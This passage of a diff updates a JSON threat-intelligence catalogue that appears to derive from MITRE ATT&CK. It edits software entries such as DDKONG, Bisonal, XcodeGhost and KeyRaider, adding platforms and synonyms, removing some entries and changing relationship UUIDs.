"198ce408-1470-45ee-b47f-7056050d4fc2", "tags": [ @@ -42127,21 +40840,7 @@ "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -42155,7 +40854,21 @@ "type": "uses" }, { - "dest-uuid": "acf8fd2a-dc98-43b4-8d37-64e10728e591", + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8c7862ff-3449-4ac6-b0fd-ac1298a822a5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -42169,7 +40882,14 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -42211,7 +40931,7 @@ "type": "uses" }, { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -42441,6 +41161,13 @@ ], "type": "uses" }, + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", "tags": [ @@ -42518,13 +41245,6 @@ ], "type": "uses" }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ @@ -43007,9 +41727,15 @@ "description": "[ShiftyBug](https://attack.mitre.org/software/S0294) is an auto-rooting adware family of malware for Android. The family is very similar to the other Android families known as Shedun, Shuanet, Kemoge, though it is not believed all the families were created by the same group. (Citation: Lookout-Adware)", "meta": { "external_id": "S0294", + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/software/S0294", "https://blog.lookout.com/blog/2015/11/04/trojanized-adware/" + ], + "synonyms": [ + "ShiftyBug" ] }, "related": [ @@ -43028,7 +41754,7 @@ "type": "uses" }, { - "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -43237,9 +41963,15 @@ "description": "[DDKONG](https://attack.mitre.org/software/S0255) is a malware sample that was part of a campaign by [Rancor](https://attack.mitre.org/groups/G0075). [DDKONG](https://attack.mitre.org/software/S0255) was first seen used in February 2017. (Citation: Rancor Unit42 June 2018)", "meta": { "external_id": "S0255", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0255", "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + ], + "synonyms": [ + "DDKONG" ] }, "related": [ @@ -44626,9 +43358,15 @@ "description": "[OldBoot](https://attack.mitre.org/software/S0285) is an Android malware family. (Citation: HackerNews-OldBoot)", "meta": { "external_id": "S0285", + "mitre_platforms": [ + "Android" + ], "refs": [ "http://thehackernews.com/2014/01/first-widely-distributed-android.html", "https://attack.mitre.org/software/S0285" + ], + "synonyms": [ + "OldBoot" ] }, "related": [ @@ -44861,14 +43599,14 @@ "type": "uses" }, { - "dest-uuid": "c4b96c0b-cb58-497a-a1c2-bb447d79d692", + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "c4b96c0b-cb58-497a-a1c2-bb447d79d692", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -44889,7 +43627,7 @@ "type": "uses" }, { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -45012,13 +43750,6 @@ ] }, "related": [ - { - "dest-uuid": "16d73b64-5681-4ea0-9af4-4ad86f7c96e8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", "tags": [ @@ -45061,6 +43792,13 @@ ], "type": "uses" }, + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -45069,14 +43807,14 @@ "type": "uses" }, { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -45111,7 +43849,14 @@ "type": "uses" }, { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -45591,175 +44336,6 @@ "uuid": "00806466-754d-44ea-ad6f-0caf59cb8556", "value": "TrickBot - S0266" }, - { - "description": "[RCSession](https://attack.mitre.org/software/S0662) is a backdoor written in C++ that has been in use since at least 2018 by [Mustang Panda](https://attack.mitre.org/groups/G0129) and by [Threat Group-3390](https://attack.mitre.org/groups/G0027) (Type II Backdoor).(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Trend Micro Iron Tiger April 2021)(Citation: Trend Micro DRBControl February 2020)", - "meta": { - "external_id": "S0662", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0662", - "https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf", - "https://www.secureworks.com/research/bronze-president-targets-ngos", - "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html" - ], - "synonyms": [ - "RCSession" - ] - }, - "related": [ - { - "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "03acae53-9b98-46f6-b204-16b930839055", - "value": "RCSession - S0662" - }, { "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) is a backdoor that has been used to target Ukrainian victims. (Citation: FireEye FELIXROOT July 2018)", "meta": { @@ -46100,111 +44676,31 @@ "uuid": "94d6d788-07bb-4dcc-b62f-e02626b00108", "value": "SodaMaster - S0627" }, - { - "description": "[Zox](https://attack.mitre.org/software/S0672) is a remote access tool that has been used by [Axiom](https://attack.mitre.org/groups/G0001) since at least 2008.(Citation: Novetta-Axiom)", - "meta": { - "external_id": "S0672", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", - "https://attack.mitre.org/software/S0672" - ], - "synonyms": [ - "Zox", - "Gresim", - "ZoxRPC", - "ZoxPNG" - ] - }, - "related": [ - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "eec23884-3fa1-4d8a-ac50-6f104d51e235", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "fb28627c-d6ea-4c35-b138-ab5e96ae5445", - "value": "Zox - S0672" - }, { "description": "OBAD is an Android malware family. (Citation: TrendMicro-Obad)", "meta": { "external_id": "S0286", + "mitre_platforms": [ + "Android" + ], "refs": [ "http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/", "https://attack.mitre.org/software/S0286" + ], + "synonyms": [ + "OBAD" ] }, "related": [ { - "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "dc01774a-d1c1-45fb-b506-0a5d1d6593d9", + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -46264,62 +44760,7 @@ "value": "FYAnti - S0628" }, { - "description": "[TrailBlazer](https://attack.mitre.org/software/S0682) is a modular malware that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2019.(Citation: CrowdStrike StellarParticle January 2022)", - "meta": { - "external_id": "S0682", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0682", - "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/" - ], - "synonyms": [ - "TrailBlazer" - ] - }, - "related": [ - { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f7c0689c-4dbd-489b-81be-7cb7c7079ade", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "bdad6f3b-de88-42fa-9295-d29b5271808e", - "value": "TrailBlazer - S0682" - }, - { - "description": "[Bisonal](https://attack.mitre.org/software/S0268) is a remote access tool (RAT) that has been used by [Tonto Team](https://attack.mitre.org/groups/G0131) against public and private sector organizations in Russia, South Korea, and Japan since at least December 2010.(Citation: Unit 42 Bisonal July 2018)(Citation: Talos Bisonal Mar 2020)", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) is malware that has been used in attacks against targets in Russia, South Korea, and Japan. It has been observed in the wild since 2014.(Citation: Unit 42 Bisonal July 2018)", "meta": { "external_id": "S0268", "mitre_platforms": [ @@ -46327,7 +44768,6 @@ ], "refs": [ "https://attack.mitre.org/software/S0268", - "https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html", "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" ], "synonyms": [ @@ -46349,20 +44789,6 @@ ], "type": "uses" }, - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ @@ -46370,27 +44796,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "34f1d81d-fe88-4f97-bd3b-a3164536255d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", "tags": [ @@ -46398,20 +44803,6 @@ ], "type": "uses" }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", "tags": [ @@ -46419,34 +44810,6 @@ ], "type": "uses" }, - { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4bed873f-0b7d-41d4-b93a-b6905d1f90b0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", "tags": [ @@ -46454,13 +44817,6 @@ ], "type": "uses" }, - { - "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", "tags": [ @@ -46468,13 +44824,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7bd9c723-2f78-4309-82c5-47cad406572b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", "tags": [ @@ -46489,13 +44838,6 @@ ], "type": "uses" }, - { - "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ @@ -46510,20 +44852,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -46538,13 +44866,6 @@ ], "type": "uses" }, - { - "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ @@ -46572,6 +44893,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "65ffc206-d7c1-45b3-b543-f6b726e7840d", @@ -46977,18 +45305,38 @@ "description": "[ZergHelper](https://attack.mitre.org/software/S0287) is iOS riskware that was unique due to its apparent evasion of Apple's App Store review process. No malicious functionality was identified in the app, but it presents security risks. (Citation: Xiao-ZergHelper)", "meta": { "external_id": "S0287", + "mitre_platforms": [ + "iOS" + ], "refs": [ "http://researchcenter.paloaltonetworks.com/2016/02/pirated-ios-app-stores-client-successfully-evaded-apple-ios-code-review/", "https://attack.mitre.org/software/S0287" + ], + "synonyms": [ + "ZergHelper" ] }, "related": [ + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "3c3b55a6-c3e9-4043-8aae-283fe96220c0", @@ -47068,22 +45416,28 @@ "description": "[XcodeGhost](https://attack.mitre.org/software/S0297) is iOS malware that infected at least 39 iOS apps in 2015 and potentially affected millions of users. (Citation: PaloAlto-XcodeGhost1) (Citation: PaloAlto-XcodeGhost)", "meta": { "external_id": "S0297", + "mitre_platforms": [ + "iOS" + ], "refs": [ "http://researchcenter.paloaltonetworks.com/2015/09/novel-malware-xcodeghost-modifies-xcode-infects-apple-ios-apps-and-hits-app-store/", "http://researchcenter.paloaltonetworks.com/2015/09/update-xcodeghost-attacker-can-phish-passwords-and-open-urls-though-infected-apps/", "https://attack.mitre.org/software/S0297" + ], + "synonyms": [ + "XcodeGhost" ] }, "related": [ { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7827ced0-95e7-4d05-bdcf-0d8f2d37a3d3", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -47229,14 +45583,27 @@ "description": "[KeyRaider](https://attack.mitre.org/software/S0288) is malware that steals Apple account credentials and other data from jailbroken iOS devices. It also has ransomware functionality. (Citation: Xiao-KeyRaider)", "meta": { "external_id": "S0288", + "mitre_platforms": [ + "iOS" + ], "refs": [ "http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/", "https://attack.mitre.org/software/S0288" + ], + "synonyms": [ + "KeyRaider" ] }, "related": [ { - "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", + "dest-uuid": "3b0b604f-10db-41a0-b54c-493124d455b9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -47257,9 +45624,15 @@ "description": "[NotCompatible](https://attack.mitre.org/software/S0299) is an Android malware family that was used between at least 2014 and 2016. It has multiple variants that have become more sophisticated over time. (Citation: Lookout-NotCompatible)", "meta": { "external_id": "S0299", + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/software/S0299", "https://blog.lookout.com/blog/2014/11/19/notcompatible/" + ], + "synonyms": [ + "NotCompatible" ] }, "related": [ @@ -49004,7 +47377,7 @@ "value": "Azorult - S0344" }, { - "description": "[PLEAD](https://attack.mitre.org/software/S0435) is a remote access tool (RAT) and downloader used by [BlackTech](https://attack.mitre.org/groups/G0098) in targeted attacks in East Asia including Taiwan, Japan, and Hong Kong.(Citation: TrendMicro BlackTech June 2017)(Citation: JPCert PLEAD Downloader June 2018) [PLEAD](https://attack.mitre.org/software/S0435) has also been referred to as [TSCookie](https://attack.mitre.org/software/S0436), though more recent reporting indicates likely separation between the two. [PLEAD](https://attack.mitre.org/software/S0435) was observed in use as early as March 2017.(Citation: JPCert TSCookie March 2018)(Citation: JPCert PLEAD Downloader June 2018)", + "description": "[PLEAD](https://attack.mitre.org/software/S0435) is a remote access tool (RAT) and downloader used by [BlackTech](https://attack.mitre.org/groups/G0098) in targeted attacks in East Asia including Taiwan, Japan, and Hong Kong.(Citation: TrendMicro BlackTech June 2017)(Citation: JPCert PLEAD Downloader June 2018) [PLEAD](https://attack.mitre.org/software/S0435) has also been referred to as [TSCookie](https://attack.mitre.org/software/S0436), though more recent reporting indicates likely separation between the two.(Citation: JPCert TSCookie March 2018)(Citation: JPCert PLEAD Downloader June 2018) ", "meta": { "external_id": "S0435", "mitre_platforms": [ @@ -49035,13 +47408,6 @@ ], "type": "uses" }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", "tags": [ @@ -49987,6 +48353,13 @@ ] }, "related": [ + { + "dest-uuid": "039bc59c-ecc7-4997-b2b4-4ab728bd91aa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", "tags": [ @@ -49995,21 +48368,7 @@ "type": "uses" }, { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1ff89c1b-7615-4fe8-b9cb-63aaf52e6dee", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "27f483c6-6666-44fa-8532-ffd5fc7dab38", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -50023,7 +48382,21 @@ "type": "uses" }, { - "dest-uuid": "8605a0ec-b44a-4e98-a7fc-87d4bd3acb66", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -50043,13 +48416,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ @@ -50064,13 +48430,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -50085,6 +48444,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "fd339382-bfec-4bf0-8d47-1caedc9e7e57", "tags": [ @@ -52191,21 +50557,21 @@ "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -52218,6 +50584,20 @@ ], "type": "uses" }, + { + "dest-uuid": 